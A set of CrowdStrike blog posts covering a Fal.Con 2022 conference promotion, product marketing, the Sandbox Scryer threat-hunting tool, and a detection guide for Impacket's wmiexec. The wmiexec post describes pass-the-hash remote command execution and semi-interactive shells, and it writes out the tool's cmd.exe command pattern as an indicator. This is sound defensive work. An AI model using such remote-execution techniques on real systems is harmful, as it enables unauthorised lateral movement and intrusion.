  • Reshma Saujani: Founder of Girls Who Code and Marshall Plan for Moms Reshma Saujani, who started the educational nonprofit that aims to encourage young women’s participation in computer science, will talk about closing technology’s gender gap and join CrowdStrike Chief Product and Engineering Officer Amol Kulkarni for a Q&A session.

We can’t wait to hear from the speakers in this year’s lineup. But that’s not all — attendees will have the opportunity to create their own conference schedule and attend a variety of informative learning sessions, keynotes, panels, trainings and interactive workshops.   

Session Spotlight: What’s on the Agenda

The Fal.Con 2022 agenda is packed with more than 100 sessions organized into eight tracks, each of which corresponds to a topic that is essential to the future of cybersecurity. Session tracks include Cloud, Endpoint, Security Services, Threat Intelligence, Log Management and Observability, Zero Trust, Identity Protection and Security Architecture. 

Below are a few of the incredible sessions we have lined up — start building your agenda now! 

  • Cloud-Native Application Platform (CNAPP): Bridging the Gap for DevSecOps: As businesses move applications, workloads and data to the cloud, it’s critical they rethink how to protect those resources. Unfortunately, many rush to adopt cloud workload protection without considering the bigger picture of how cloud security controls work together across all layers of the technology stack. As a result, they end up with security controls working in silos, leading to poor visibility and security gaps. This session will discuss a security convergence journey that will affect all aspects of the business.
  • Defeating Fileless Attacks with Memory Scanning: The Latest Threat Research and Protection Innovations: In 2021, 62% of cyberattacks were malware-free. These fileless threats can be carried out entirely in memory, creating a blind spot for threat actors to exploit. CrowdStrike experts will explore the latest fileless attack trends and how to defeat them with new innovations across the CrowdStrike Falcon® platform.
  • Evolving Threats in the Cloud and What They Mean: As organizations move data and infrastructure to the cloud, they open themselves up to new security threats — often without realizing it. This session aims to not only highlight threats in the cloud based on real adversary tactics and attacks, but also provide meaningful ways to address risks.
  • Sharpening the Saw: Endpoint + Identity, Better Together: This talk will showcase why identity is the new frontline of cyber, how malware is increasingly targeting identities, and how sometimes attackers don’t start early in the attack kill chain but rather with lateral movement and compromised credentials. Experts will demonstrate how to reduce time to detect threats with identity, and how to contain the user and endpoint with an endpoint protection platform (EPP) and identity protection (IDP).
  • The Russia-Ukraine Conflict: Insights into the Conflict and CrowdStrike’s Response: This presentation will provide an overview of CrowdStrike’s response to the Russia-Ukraine conflict, a detailed summary of targeting trends throughout the conflict and CrowdStrike’s rapid response to our customers’ dynamic intelligence requirements during this time. CrowdStrike Intelligence delivered relevant and timely analysis for our customers across a broad range of sectors and geographies. This talk will also provide a current and retrospective analysis of the conflict.

More Fal.Con 2022 Event Highlights

In addition to keynotes and learning sessions, Fal.Con 2022 attendees can look forward to CrowdStrike University trainings, during which they can gain new skills and learn to become a CrowdStrike certified professional. We’ll also hold the 2022 Partner Summit, during which executives will provide updates on the partner business and give partnerships an early look at what their partnership will look like in the future. More than 50 CrowdStrike partners exhibiting at Fal.Con 2022 will share their tools and technologies that can enhance your security offerings.

Attendees will also have the chance to explore the Falcon platform with Falcon Encounter, which gives them live access to the Falcon user interface so they can navigate the product and learn more about CrowdStrike’s cloud-delivered solution. There’s no previous product knowledge required — and an encounter to satisfy everyone’s interest and skill level! 

And of course, we can’t forget Fal.Con Fest — an exciting event on Sept. 20 to celebrate CrowdStrike customers and their accomplishments with a memorable celebration that includes music, games, food and drinks. 

Register now to join the excitement and be part of Fal.Con 2022!

Additional Resources

2022 Threat Hunting Report: Falcon OverWatch Looks Back to Prepare Defenders for Tomorrow’s Adversaries

13 September 2022 at 20:56

Another turbulent year for cybersecurity finds itself right at home alongside global economic headwinds and geopolitical tensions. This year has been defined by rampant affiliate activity, a seemingly endless stream of new vulnerabilities and exploits, and the widespread abuse of valid credentials. These circumstances have conspired to drive a 50% increase in interactive intrusion activity tracked by CrowdStrike Falcon OverWatch™ threat hunters this year.

The CrowdStrike 2022 Falcon OverWatch Threat Hunting Report examines the trends that dominated the past year, digs deeper into novel and interesting examples of adversary tradecraft, and looks ahead at how and where threats are evolving. 

Defenders can share in the insights derived from the global OverWatch threat hunting program. In this past year alone, OverWatch threat hunters directly identified more than 77,000 potential intrusions, or approximately one potential intrusion every seven minutes. This extensive visibility at the cutting edge of interactive intrusion activity provides an unparalleled look at how adversary tradecraft and tooling are being used today — empowering defenders to stay ahead of the adversaries tomorrow. 

What You’ll Find in This Year’s Report

  • A look at some of the vulnerabilities that made headlines, and evidence of how focusing on patterns of post-exploitation activity provides both proactive and comprehensive coverage against known and unknown vulnerabilities.
  • An exploration of the diversification of affiliate tradecraft, including a comparison of four distinct intrusions all leveraging the Lockbit ransomware-as-a-service model.
  • Insights into adversary tooling with a look at what is trending and what is emerging.
  • An intrusion deep dive that examines a targeted PANDA intrusion against an organization in the technology industry.
  • A look at escalating eCrime threats targeting the healthcare sector and recommended action items for defenders.
  • Details of the re-emergence of ISO files in phishing campaigns as internet-enabled macros begin to be disabled.
  • A look at cloud-based threats, as well as adversaries’ ability to confidently navigate cloud-based assets to advance their intrusions.

In addition to unearthing a record number of interactive intrusions over the course of this year, OverWatch’s research has fed the continual improvement of the CrowdStrike Falcon® platform. The insights drawn from OverWatch’s hunting and deep familiarity with adversary tradecraft have been distilled into hundreds of new behavioral-based preventions, resulting in the direct prevention of over 1 million malicious events by the Falcon platform. OverWatch also closed out this year’s reporting period with five new patents to its name — a recognition of the innovative tooling and technologies that enable hunters to pinpoint adversary activity with speed and at scale.  Finally, OverWatch has introduced Falcon OverWatch Cloud Threat Hunting™, taking the fight to the adversary amid growing evidence that adversaries are actively going after cloud workloads.

In the face of both emerging and enduring threats, OverWatch has continued to raise the bar of what it means to conduct truly proactive human-driven threat hunting operations. 

Download the report

Additional Resources

  • Learn more about hands-on-keyboard threats and the power of human-led threat hunting at Fal.Con 2022, the cybersecurity industry’s most anticipated annual event. Register now and meet us in Las Vegas, Sept. 19-21!  
  • Tune in to Twitter Spaces on September 19 at 11:30 a.m. PT / 2:30 p.m. ET to hear from experts live at Fal.Con 2022 as they highlight key takeaways from the report. Listen live here
  • Adversaries never take a break — and neither does the Falcon OverWatch threat hunting team. Join them for a LIVE CrowdCast on October 6 at 11 a.m. PT / 2 p.m. ET as they share new attack trends and tradecrafts from the new report. Register here.  
  • Read the press release announcing the new 2022 Falcon OverWatch Threat Hunting Report.
  • Learn more about the CrowdStrike Falcon platform by visiting the product webpage.
  • Test CrowdStrike next-gen AV for yourself. Start your free trial of Falcon Prevent™ today.

Consolidated Identity Protection in a Unified Security Platform Is a Must-Have for the Modern SOC

6 September 2022 at 18:52

As cyberattacks continue to grow relentlessly, enterprises have to continue improving their cyber defenses to stay one step ahead of the adversaries. One area that CISOs have recently started paying more attention is identity threat protection. This is not surprising considering 80% of modern attacks are identity-driven leveraging stolen credentials. In fact, identity threat detection and response is highlighted as one of the top trends in cybersecurity in 2022 by Gartner. Their key recommendation includes: “Prioritizing the security of identity infrastructure with tools to monitor identity attack techniques, protect identity and access controls, detect when inclusions are occurring, and enable fast remediation.” 

CISOs have started looking at the most effective and optimal way to address identity threats without overwhelming their security operations center (SOC) with yet another standalone tool that isn’t integrated with the rest of their security stack, causing additional alert fatigue.

One option is to simply settle for identity security features or modules included in enterprise bundles from their identity and access management (IAM) legacy vendors. In a previous post, we examined the pitfalls of this approach including competing interests of the vendor, lack of security focus and risk of vendor lock-in. Essentially, settling for an identity security solution from your identity vendor will lead to poorer security outcomes and increase the risk of breaches.

Point Solutions Are Not the Answer

Another option we examine in this post is a standalone identity security solution that security teams can deploy separately and integrate with their SOC. A web search for “workforce identity protection” or “AD security” yields a number of solutions from various vendors that can potentially fit the bill. They all claim to protect against identity-based threats. Not so fast. Here are a few reasons why point solutions to address identity threats in isolation is a bad idea:

  • Deployment/integration overhead: A separate standalone solution would require you to deploy it and integrate with the rest of the tools in the SOC to get any value out of it. Even with a custom integration, your SOC personnel would still need to deal with multiple disparate consoles to correlate threats across endpoints, identity and workloads.
  • Agent sprawl/maintenance: As every standalone solution has its own agent, you would end up with agent sprawl and consequent maintenance overheads. A multitude of agents from different vendors would slow down performance at best and could interfere with each other at worst. Further, the onus of keeping all the agents up to date across the organization is on you.
  • Lack of correlation: The biggest challenge of this approach is the lack of correlation of threats across endpoints and identity. Your SOC personnel would have to traverse multiple consoles and manually correlate threats across endpoints and identity to detect an attack.
  • Lack of automated responses: While quick and accurate detection are important, what you really need are automated policy-based responses such as blocking the adversary or throwing a multifactor authentication (MFA) challenge. Crafting automated policy-based responses across different products can be a huge challenge. 
  • Slower response: The frustration over manually correlating threats and lack of responses based on automated policies would slow you down when dealing with a real attack. Worse, the fatigue of dealing with multiple alerts from different systems could cause SOC personnel to miss actual threats.

Please note, these challenges apply not just for point solutions but also when vendors like SentinelOne offer identity security capabilities as a disjointed piece of a single, branded platform.

A Unified Security Platform Is the Best Solution

The right way to address these challenges is a unified platform approach that seamlessly integrates telemetry from across customer endpoints, workloads, identities and data to offer accurate detections and real-time protection without overwhelming your SOC personnel.

Here are the key platform differentiators you can expect from the CrowdStrike Falcon Identity Threat Protection™ solution: 

  • Single unified sensor: The same stable and reliable CrowdStrike Falcon® sensor that protects millions of endpoint devices can protect your AD domain controllers as well. It has the intelligence to pull the relevant identity data into the unified Falcon platform, simplifying the deployment architecture. This single-sensor approach not only eliminates deployment overheads and agent sprawl but also ensures easier maintenance.

Figure 1. One Falcon sensor for endpoint and identity protection (Click to enlarge)

  • Single unified platform: The Falcon platform is powered by the CrowdStrike Security Cloud — one of the world’s largest unified, threat-centric data fabrics — that correlates trillions of security events per day with indicators of attack (IOAs), the industry’s leading threat intelligence and enterprise telemetry from across customer endpoints, workloads, identities and data. This holistic platform approach ensures a rapid, cohesive response to threats that is very hard to achieve by cobbling together disparate point solutions.

Figure 2. Falcon platform powered by the CrowdStrike Security Cloud (Click to enlarge)

  • Standard detections interface: The single platform approach ensures your SOC personnel have a unified view of identity threat detections in the Falcon console instead of having to traverse multiple consoles. This familiar interface not only reduces training overheads but would be invaluable in the event of an actual attack, where every second is precious.

Figure 3. The Falcon platform’s standard Detections interface used for identity threat detections (Click to enlarge)

  • Tight correlation across endpoints and identity: Another key benefit of the unified platform approach is that it can apply intelligence to automatically correlate threat data as well as response across endpoints and identity. For example, the Falcon sensor can block the authentication operation from an endpoint that may have been compromised or block an endpoint used by a user that is determined to be risky.
  • Real-time automated response: The platform approach and tight correlation also enables the orchestration of rapid, automatic response to block threats in real time via a flexible policy engine (e.g., a policy that automatically enforces an MFA challenge to the user when the request comes from an unmanaged endpoint like a temporary contractor’s laptop). This type of automation is hard to implement when your endpoint and identity protection solutions are not fully integrated.
  • Fully managed option: While this unified approach significantly simplifies the deployment and operation of your SOC, you may prefer a fully managed offering if you do not have the in-house resources to take on adversaries. CrowdStrike is the only security-focused vendor to offer a fully managed identity threat protection solution that provides expert management, monitoring and remediation to deliver frictionless, real-time identity threat prevention — all backed by an industry-leading Breach Prevention Warranty. 


The importance of this platform approach to take on adversaries is also recognized by analysts. In his recent paper “Identity & Security: Addressing the Modern Threat Landscape,” John Tolbert from KuppingerCole makes the case as to why a unified security and identity approach is necessary to deter malicious actors. Download his white paper to get an analyst’s perspective on why consolidating identity protection into a unified security platform is key.


  1. Gartner, Top Trends in Cybersecurity 2022, Peter Firstbrook, Sam Olyaei, Pete Shoard and others, 18 February 2022.

Disclaimer: GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

Additional Resources

  • Learn more about attack techniques leveraging identities at Fal.Con 2022, the cybersecurity industry’s most anticipated annual event. Register now and meet us in Las Vegas, Sept. 19-21!  
  • Learn how CrowdStrike Falcon Identity Protection products reduce costs and risks across the enterprise by protecting workforce identities.
  • Watch this video to see how Falcon Identity Threat Protection detects and stops ransomware attacks.
  • Learn how the powerful CrowdStrike Falcon platform provides comprehensive protection across your organization, workers and data, wherever they are located.
  • Get a full-featured free trial of CrowdStrike Falcon Prevent™ and see for yourself how true next-gen AV performs against today’s most sophisticated threats.

Register Now to Join Us in Las Vegas for Fal.Con 2022

1 September 2022 at 14:39

The countdown has begun! In less than a month, we’ll gather in Las Vegas for Fal.Con 2022, the sixth annual CrowdStrike cybersecurity conference. We’re excited to bring you an event packed with product announcements, keynotes from industry visionaries, deep-dive talks, hands-on workshops and training sessions, special guests and more. 

The past few years have been pivotal for enterprise technology. Organizations have undergone massive digital transformation to power remote employees, driving the proliferation of devices and identities. While this has led to new levels of productivity, it has also created a larger attack surface. Security is key to making your enterprise more resilient, powering the productivity of digital transformation, and protecting your data, workloads and identities from today’s threats.

Fal.Con is where security and technology professionals come together to attend cutting-edge keynotes, develop new skills, network with industry leaders and partners, and tap into the full power of the CrowdStrike ecosystem to better strengthen their defenses.

Here’s What You Need to Know About Fal.Con 2022

Mark your calendars: This year’s event will take place Sept. 19-21 at the Aria Resort & Casino in Las Vegas.

Don’t forget to RSVP: You can register here for Fal.Con 2022. Register today! 

What to expect: The Fal.Con 2022 educational program offers valuable knowledge for security professionals at every level, whether you’re a practitioner working to improve your mastery of the CrowdStrike Falcon® platform or an executive planning to level up your enterprise security strategy. We’re planning more than 100 informative learning sessions, keynotes, panels, training sessions and interactive workshops for this year’s event. These are organized across eight tracks, each of which is a topic essential to the future of enterprise security:

  • Log Management and Observability
  • The Future of Endpoint Security and SecOps
  • Identity Protection
  • Journey to Cloud
  • Security Architecture and Strategy
  • Security Services
  • Threat Intelligence
  • Zero Trust

As a Fal.Con attendee, you’ll have the opportunity to build a conference schedule that suits your needs. Join the keynotes to learn about the next wave of CrowdStrike security innovation that unifies protection across endpoints, cloud workloads, identities and data. Sign up for a workshop to learn new ways of using CrowdStrike technology in today’s rapidly changing threat landscape. Drop in on a breakout session for a technical how-to or business-level discussion — our agenda builder lets you mix-and-match sessions depending on your needs and interests.

We’ll be sharing more updates in the weeks leading up to Fal.Con 2022. In the meantime, here is a sneak peek of what’s in store:

  • 100+ presentations, breakout sessions, keynotes, peer panels and more
  • New product innovations and enhancements 
  • Keynotes from industry visionaries
  • CrowdStrike University Training
  • CrowdStrike Partner Summit
  • Peer-to-peer meet-ups
  • Expert Q&As
  • Executive meetings

Join Us to Strengthen Your Security Strategy

In today’s evolving threat landscape, it’s more important than ever for security professionals to update and strengthen their protection against attackers and bolster their overall cyber defenses. Our sixth annual conference is the must-attend event for the global cybersecurity community, connecting thousands of tech executives and security professionals who share a common goal: to stop breaches. 

We hope to see you in Vegas for this information-packed event — register today and mark your calendars for Fal.Con 2022!

Additional Resources

CrowdStrike Introduces Sandbox Scryer: A Free Threat-Hunting Tool for Generating MITRE ATT&CK and Navigator Data

1 September 2022 at 13:20
  • Sandbox Scryer is an open-source tool for producing threat hunting and intelligence data from public sandbox detonation output
  • The tool leverages the MITRE ATT&CK Framework to organize and prioritize findings, assisting in assembling indicators of compromise (IOCs), understanding attack movement and hunting threats
  • By allowing researchers to send thousands of samples to a sandbox for building a profile for use with the ATT&CK technique, Sandbox Scryer can help solve use cases at scale
  • The tool is intended for cybersecurity professionals who are interested in threat hunting and attack analysis leveraging sandbox output data
  • Sandbox Scryer consumes output from the free and public Hybrid Analysis malware analysis service to help analysts expedite and scale threat hunting as part of security operations center (SOC) operations

Threat hunting is a critical security function, a proactive measure to detect warning signs and head off attacks before a breach can occur. Scaling threat hunting capabilities involves quickly deriving actionable intelligence from a large number of behavioral data signals to identify gaps and reduce time to respond. CrowdStrike has developed a new, open-source tool that is a valuable addition to the arsenal of threat hunters — those cybersecurity professionals who face the challenge of staying ahead of ever-evolving threats.

Introducing Sandbox Scryer 

Using the MITRE ATT&CK Framework to organize and prioritize its findings, the Sandbox Scryer tool leverages sandbox detonation output to provide key information, including observed MITRE ATT&CK techniques and associated metadata. It can do so at scale, allowing researchers to send hundreds or even thousands of files to a sandbox. Sandbox Scryer produces a layer file that can be imported into the ATT&CK Navigator for analysis (including graphical representation of techniques used), and provides a human-readable format for manual examination. 

Defending against advanced and sophisticated threats requires answering the question “What’s next?” after an initial detection. Understanding how threats behave and evolve enables defenders to improve defensive capabilities to identify and prevent future attack attempts and stages.

Sandbox Scryer was initially developed to consume output from the free and public Hybrid Analysis malware analysis service that detects and analyzes unknown threats using a unique Hybrid Analysis technology. Designed to be extendable, Sandbox Scryer can also process output from other malware analysis services that offer sandbox detonation reports.

How Sandbox Scryer Helps to Make Sense of Threats Hidden in Sandbox Detonation Data

Threat behavior data coming from sandbox detonations can help provide the needed signal to inform focused answers to the question “What’s next?” Sandbox Scryer allows threat hunters to easily scale their investigations by sending a large number of samples to a sandbox at once and building a comprehensive profile that shows the tactics, techniques and procedures (TTPs) being used so protection gaps can quickly be identified, enhancing intelligence and threat hunting operations. 

Sandbox Scryer supports the prioritization of IOCs and ATT&CK behaviors and produces information that can easily integrate into SOC and security orchestration, automation and response (SOAR) operations at scale, improving defensive capabilities. 

For example, having a heat map that visually depicts a technique such as the use of Remote Desktop Protocol (T1021.001) being shared across all samples submitted for analysis enables analysts to take immediate action and improve their defense posture by enabling identity protection mechanisms or additional policies.  

For another example, consider that most endpoint detection and response (EDR) and extended detection and response (XDR) solutions support threat hunting by ATT&CK Techniques. Using Sandbox Scryer to combine multiple reports can reveal common techniques that can be included in a hunting package to search for similar threats in the enterprise.

Sandbox Scryer helps organize and express the plethora of sandbox behavioral data so analysts can better understand and respond to attacks. Its primary output is a layer file analysts can import into the MITRE ATT&CK Navigator. This layer file collates data from the sandbox results using the set of sample submissions analyzed and includes metadata and a ranking of ATT&CK techniques.

Besides being importable into the Navigator, the layer file is also a human-readable (JSON) format usable by itself for examining the collated data. In fact, it may be easier to examine details of the metadata noted in the layer file from techniques of interest than by viewing in the Navigator.

In addition to generating the layer file, Sandbox Scryer creates custom output for each sandbox submission report analyzed. This output consists of:

  • A graphical (.png) file showing observed MITRE ATT&CK techniques
  • A text file for human consumption that includes observed techniques, metadata and a ranking of techniques
  • A .csv file for import into collating tools that is used by Sandbox Scryer to assemble the collated data placed in the Navigator layer file

How to Use the Sandbox Scryer Tool

Figure 1 shows the major workflow steps for using Sandbox Scryer.

Figure 1. The Sandbox Scryer tool workflow

Step 1. Submitting Samples

Usage begins with submitting a selected set of samples for detonation to the free Hybrid Analysis malware analysis service and then retrieving detonation results in the form of report summaries.

This is done either using the Hybrid Analysis web user interface or through the documented and available endpoint API. The Sandbox Scryer tool retrieves the output (submission reports) using the endpoint API. The tool could be expanded to handle submitting samples and retrieving results directly, as a later enhancement.

Figure 2. Sandbox report summary snippet (Click to enlarge)

The report summary includes entries for sandbox signatures that triggered processing the submission. Metadata is included for each triggered signature and detected MITRE ATT&CK technique usage.

Step 2. Retrieve Sandbox Report

Once the sandbox report summaries are retrieved for the submissions, the Sandbox Scryer tool is invoked for each report summary with the parse command specified via command-line arguments. This command will parse the report summary and extract the MITRE techniques from the detonation report, along with a subset of metadata for these techniques. It will produce a .csv file with this data, a corresponding human-readable format of the data and graphical representation of the techniques in the format of the MITRE ATT&CK Framework.

Figure 3. Individualized graphic showing MITRE techniques observed during the detonation for a specific sample (Click to enlarge)

Figure 4. Parsed sandbox detonation report summary snippet (Click to enlarge)

Finally, Sandbox Scryer is invoked with the collate command to collect the extracted MITRE data from each report summary and combine it into a layer file that can be imported into the MITRE Navigator.

Following this, the MITRE ATT&CK Navigator may be launched to load the layer file and view the collated data.

Figure 5. Screenshot showing the Navigator view of the Sandbox Scryer output (Click to enlarge)

The Navigator shows a view of the techniques and tactics observed by Sandbox Scryer while analyzing a set of submitted samples, with prevalence and prioritization shown via a heat map. This graphical view allows for easier human understanding of trends and priorities within the set of samples.

Hovering over techniques shows noted metadata such as the score used to generate the heatmap coloring, Windows Registry paths involved and more.

To analyze a particular technique more completely, an analyst would return to the sandbox report summaries and search for signature entries that note the MITRE technique, using grep or any similar tool.

The report summaries located within the search contain a complete set of metadata for the signature(s). This includes the technique (what is included in the Navigator view and other Scryer tool output is a subset of available metadata). More than one signature may note the technique. Additionally, other signatures triggered for the submission may be examined along with their metadata.

It’s worth noting that the output from the Sandbox Scryer tool can be sent to other tools for additional analysis.

A Free Tool to Advance Threat Hunting

The open-source Sandbox Scryer tool enables security professionals to understand threat attack movement by correlating behavior across multiple threats to understand and improve defenses where coverage gaps exist.  

Cybersecurity professionals interested in threat hunting and attack analysis leveraging sandbox output data can grab the Sandbox Scryer tool from the GitHub repository and start using it as part of their toolset.    

The repository contains additional details on how the tool operates, its source code, test data and corresponding output. Collaboration and feedback is welcome, so please see the tool for contact information on how to get in touch.

Additional Resources

Defense Against the Lateral Arts: Detecting and Preventing Impacket’s Wmiexec

31 August 2022 at 12:20
  • Impacket, an open source collection of Python modules for manipulating network protocols, contains several tools for remote service execution, Windows credential dumping, packet sniffing and Kerberos manipulation.
  • CrowdStrike Services has seen an increased use of Impacket’s wmiexec module, primarily by ransomware and eCrime groups.
  • Wmiexec leaves behind valuable forensic artifacts that will help defenders detect its usage and identify evidence or indication of adversary activity.


Impacket’s (“wmiexec”) is a popular tool used by red teams and threat actors alike. The CrowdStrike Services team commonly sees threat actors leveraging wmiexec to move laterally and execute commands on remote systems as wmiexec leverages Windows native protocols to more easily blend in with benign activity. CrowdStrike has also identified threat actors packaging wmiexec using PyInstaller to run it as an executable on Windows systems, remotely executing data exfiltration tools such as Rclone, and Cobalt Strike beacons for lateral movement and command-and-control operations. 

Impacket’s suite of tools is extremely versatile and is low impact, making detection more difficult compared to other threat actor tool sets. This blog deep dives into wmiexec usage seen from multiple incident response investigations, and describes indicators to help defenders detect wmiexec. 

Wmiexec Overview

Wmiexec relies on the Windows native service known as Windows Management Instrumentation (WMI). Microsoft defines WMI as “the infrastructure for management data and operations on Windows-based operating systems.” While WMI has legitimate use-cases, threat actors commonly use WMI to move laterally. 

Wmiexec allows a threat actor to execute commands on a remote system and/or establish a semi-interactive shell on a remote host. The remote connection and command execution requires using a valid username and password or an NTLM hash. Usage of wmiexec does not require the remote service installation that similar lateral movement techniques require, such as by Impacket. 

Wmiexec uses Distributed Component Object Model (“DCOM”) to connect remotely to a system. DCOM allows COM objects to communicate over the network. The threat actor’s execution of will establish their connection with DCOM/RPC on port 135, the response back to the threat actor system is sent via the Server Message Block (“SMB”) protocol.

Initial Indicators

When hunting for wmiexec, defenders should look for WMI usage. A defender’s first step should be to analyze the process relationship involving a parent process known as WMIPRVSE.EXE. Suspicious processes such as CMD.EXE or POWERSHELL.EXE running as a child process to WMIPRVSE.EXE are a red flag. Most commonly, and by default, wmiexec will use a child process of CMD.EXE. A common indicator of wmiexec is the command line switches of the CMD.EXE process, which is somewhat unique. An example of executing a tasklist using wmiexec would establish a process relationship similar to the image in Figure 1. Throughout this blog we will often refer to the publicly available source code on Impacket’s GitHub repository.

Figure 1. Parent process relationship

Understanding wmiexec Command Execution

As shown in Figure 2, on line 127 of the publicly available source code, execution of CMD.EXE will use the parameters of /Q /c. First the parameter, /Q, is set to turn off echo, ensuring the command is run silently. Secondly, the parameter /c is set to stop after the command specified by the string is carried out.

Figure 2. Code example calling of cmd.exe

Identifying commands issued with the default cmd.exe /Q /c arguments are an indicator that wmiexec may be in use but note that these are parameters which can be used for legitimate purposes. To further validate the identification of wmiexec usage, another indicator is command redirection. During execution of wmiexec, the command is redirected to a file created on the remote host’s local ADMIN$ share by default. The ADMIN$ share aligns with the file path C:\Windows\.

Figure 3. Code example of redirected output to a file (Click to enlarge)

As shown in Figure 3, on line 295 of the wmiexec code, the command variable has a few variables that are appended with additional data, concatenating the /Q /c switches with the command being run and the redirection. While this full command line is a great indicator of wmiexec usage, the variable __output (shown in Figure 3 as self.__output) is the name of the temporary file written to disk and creates additional forensic artifacts on disk. When the tool concatenates the command parameters together, an example final resulting command is shown in Figure 4 where the threat actor is attempting to execute hostname.

Figure 4. Full wmiexec command result (Source: Windows Event Log)

The output variable containing the name of the file that is to be written to disk is declared in two places, shown in Figure 5 of the wmiexec code. First on line 46, the output of the command is given a filename of two underscores, __, followed by the current time in EPOCH. This is important for two reasons: the presence of this file indicates execution of (or attempted execution of) wmiexec and also it will give us a time of execution. As previously mentioned, this file will reside in C:\Windows\, which is remotely accessible using the ADMIN$ share. An example of the file written to disk is shown in Figure 6. The output file stores the results of the command executed to be sent back to the threat actor, which can also be useful to defenders (more on this later).

Figure 5. Code example of the output filename

Figure 6. Example of output file written to disk

Cleanup Operations

The output file is not always present on disk because wmiexec, upon successful and complete execution, will clean up after itself. Most commonly this file is left behind for one of two reasons: a threat actor prematurely canceled a command before it has completed (i.e., CTRL+C), or wmiexec failed or was prevented from executing. In either scenario, if the wmiexec script is unable to complete execution it will not reach line 285, shown in Figure 7, to clean up the file on disk. Also of note, incomplete execution of wmiexec does not necessarily mean the threat actor was unable to successfully execute their command.

Figure 7. Code example of file cleanup after execution

An example of a failed cleanup operation is if an interrupt command such as CTRL+C was issued while wmiexec is running, which would leave behind a file on disk. In Figure 8, execution of wmiexec is performed using the NTLM hash of a user winadmin to the host INFOSEC-PC1 in a test environment. Executing wmiexec without a command will establish a semi-interactive shell — from an threat actor perspective, this means a shell is established that appears interactive, but each command executed will be sent through the wmiexec channel and include the standard process execution cmd.exe /Q /C <command> 1> \\\\\ADMIN$\__<EPOCHTIME> 2>&1 command format. In Figure 8, after running nslookup an abort command is issued (CTRL+C) and the nslookup process is interrupted. The result is a file on disk containing the output of the command executed, shown in Figure 9. Note: In Figure 9, an abort command needed to be issued since nothing was supplied to nslookup, and although this was done in a test environment, CrowdStrike Services has seen this exact occurrence happen during real incident response engagements.

Figure 8. Execution of to interrupt nslookup execution (Click to enlarge)

Figure 9. Examining the leftover file contents

Another example of failure to clean up and artifacts left on disk is shown in Figures 10 and 11. In Figure 10, wmiexec is executed similarly as before, but this time powershell.exe is executed. Since running the command powershell.exe would open a new PowerShell prompt, issuing another abort command (CTRL+C) will result in the output file not being cleaned up. Figure 11 shows the header of a new PowerShell window in the contents of the output file, __1645636397.851114.

Figure 10. Execution of to interrupt PowerShell execution (Click to enlarge)

Figure 11. Examining the leftover file contents of PowerShell output (Click to enlarge)

The temporary files discussed here can be a valuable indicator of wmiexec execution even when they are successfully cleaned up. Windows Prefetch files are used by the Microsoft Windows operating system to improve application start-up performance. Prefetch is a common forensic artifact located in C:\Windows\Prefetch that can be used to identify process execution along with contextual information related to the file that was executed. 

As shown in Figure 12, contextual information can be parsed from Prefetch using a tool such as PECmd. This contextual information includes Dynamic Link Libraries (DLLs) and other files used by the process that was executed. In this example, a variety of DLLs are referenced in the Prefetch file for whoami.exe as well as the temporary files associated with wmiexec. The temporary files previously discussed cannot be extracted from the Prefetch file — but, this example does show that Prefetch data contains evidence that whoami.exe was executed with wmiexec.

Figure 12. Examining parsed Prefetch data to identify a relation between whoami and temporary wmiexec files

Key visibility into potential wmiexec execution comes from command-line process execution. Process execution will give a defender more definitive evidence and visibility into the exact commands being executed regardless of actions taken by the threat actor. Relying primarily on local logging, the Windows Security Event Log can provide granular data on the command line execution with the right settings enabled. Unfortunately, Security Event ID 4688 is not enabled by default. After enabling Event ID 4688, defenders must also configure it for full command line auditing, which is described below.

Note: When introducing any recommendations for security or visibility enhancements to your environment, proper testing should be conducted to ensure it will not affect business operations negatively.

To enable Event ID 4688, open the Local Group Policy Editor and do the following (shown in Figure 13):

Local Group Policy Editor > Open Computer Configuration > Open Windows Settings > Security Settings > Advanced Audit Policy Configuration > System Audit Policies > Detailed Tracking > Enabled Audit Process Creation

Figure 13. Local Group Policy Editor to enable Event ID 4688

In addition, the box for configuring both success and failure events should be checked, and then click apply, as shown in Figure 14.

Figure 14. Enabling Success and Failure events

Finally, check to make sure auditing is enabled, as shown in Figure 15.

Figure 15. Successful enabling of Event ID 4688

After enabling Event ID 4688, the Windows Security Event Log will log created and new process names, giving a defender granular insight into the commands issued on a particular system. As previously mentioned, WMIPRVSE.exe with a child process of CMD.exe is a great indicator of potential wmiexec usage, as shown in Figure 16.

Figure 16. Event ID 4688 enabled showing process creation of wmiexec

Although visibility into parent/child processes on a system helps defenders, the full process command line in Figure 16 is blank because it must be enabled separately. In order to enable the full process command line, open Local Group Policy Editor and navigate to the following location (as shown in Figures 17 and 18):

Local Group Policy Editor > Computer Configuration > Administrative Templates > System > Audit Process Configuration > Include command line in process creation events > Enable

Figure 17. Enabling process command line for Event ID 4688

Figure 18. Enabling process command line for Event ID 4688

With process command line auditing enabled for Event ID 4688, more granular detail on the exact commands executed is recorded, rather than just parent/child process execution. Forwarding this data to a centralized security information and event management (SIEM) tool can allow defenders to set up alerts and dashboards to track process executions. As shown in Figure 19, Event ID 4688 is now logging the entire command line, giving a defender the ability to see wmiexec was used to remotely execute the command hostname.

Figure 19. Process command lines enabled for 4688 – execution of wmiexec

Other resources such as antivirus detection logs and the Microsoft Protection Log (“MPLog”) are also good resources for gaining command line visibility into wmiexec usage. This CrowdStrike blog discusses how to leverage MPLog in greater detail. 

Prevention and Mitigation

Enabling process command lines and Event ID 4688 is great for visibility and can assist defenders in identifying a threat actor within your environment, although it does not aid much in prevention. As shown in Figure 20, running Impacket to establish a semi-interactive shell will give the threat actor the ability to run commands and while visibility into these attacks is critical, mitigating them is the ultimate goal.

Figure 20. Threat actor execution of remote commands with wmiexec (Click to enlarge)

CrowdStrike Falcon Insight™ endpoint detection and response will collect granular data on process execution in real time, going into more detail than the standard process creation logging available in Windows. Indicators of attack (IOAs) are a method used to create detections and preventions for wmiexec. Commonly on CrowdStrike Services Red Team/Blue Team assessments, CrowdStrike experts will assist internal teams to configure an IOA that will allow detection and prevention of wmiexec. In Figure 21, having a proper IOA and then attempting to execute tasklist again shows not only the ability to see the full process parent relationships but also how to prevent it.

Figure 21. CrowdStrike Falcon IOA for wmiexec (Click to enlarge)

Each of the processes that spawned the suspected malicious process can be examined to identify a gold mine of information, including the host where the request originated and full command line parameters, as shown in Figure 22.

Figure 22. Process command line for wmiexec running tasklist

